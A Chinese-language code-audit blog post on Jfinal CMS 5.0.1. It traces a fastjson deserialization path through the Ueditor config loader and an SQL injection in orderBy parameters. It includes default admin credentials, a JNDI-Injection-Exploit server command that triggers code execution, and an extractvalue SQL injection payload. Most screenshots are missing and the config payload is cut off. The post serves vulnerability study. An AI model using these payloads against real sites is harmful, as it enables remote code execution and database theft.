写在前面
学习代码审计,为了练手,在CNVD上找了一个存在漏洞的Jfinal CMS的系统来审计,Jfinal CMS 5.0.1这个版本中在存在一个fastjson反序列漏洞,但是需要登录到后台,而且套代码使用的人并不是很多,所以危害并不大。Jfinal CMS 5.1.0 则存在大量的sql注入漏洞,目前这个版本也是最新版。
CMS命令注入漏洞
环境
Jfinal CMS 5.0.1
分析过程
![]() |
|---|
只是为了记录,省略部署过程。
在com.jflyfox.component.controller.Ueditor
![]() |
|---|
进入到ActionEnter类中
![]() |
|---|
ActionEnter类的初始化方法中调用了ConfigManager.getInstance,进入ConfigManager
![]() |
|---|
getInstance 创建了一个ConfigManager,跟进ConfigManager中
![]() |
|---|
调用了this.initEnv方法,继续跟进
![]() |
|---|
可以看到在该方法中调用了JSONObject.parseObject,将json格式的字符串转换成对象。而该源码中使用的fastjson版本为1.2.28。
![]() |
|---|
在https://mvnrepository.com/网站中可以知道是存在fastjson反序列化漏洞的
![]() |
|---|
而在JSONObject jsonConfig = JSONObject.parseObject(configContent);这条触发fastjson反序列化语句中,我们需要控制configContent的值,来触发反序列化。
![]() |
|---|
可以通过点入ConfigManager.configFileName查看读取的文件名
![]() |
|---|
这个文件就是src/main/resources/config.json文件
怎么去控制这个文件呢?
通过用户名admin 密码 admin123进入后台
![]() |
|---|
在本地准备一个内容为以下,文件名为config.json的文件
1 | { |
在服务器起一个JNDI服务
1 | java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc.exe" -A ip |
替换成上面构造的即可
![]() |
|---|
接下来,只需要找一个会访问/ueditor的路由,就会弹出计算器
![]() |
|---|
![]() |
|---|
成功执行。
Jfinal SQL注入漏洞
环境
Jfinal CMS 5.0.1
分析过程
![]() |
|---|
按Shift+Ctrl+R 全局搜索/system/dict
![]() |
|---|
存在漏洞的点
![]() |
|---|
可以看到,拿到了attrVal和orderBy并未经过任何过滤,直接就 append追加到sql语句中去了。
在这个页面中
![]() |
|---|
抓个包
![]() |
|---|
什么都没有
![]() |
|---|
随便点一下
![]() |
|---|
测试
1 | or+extractvalue(1,concat(0x7e,(database())))# |
![]() |
|---|
成功爆出了数据库名。
以下路由的orderBy参数均存在sql注入
1 | /admin/advicefeedback |





















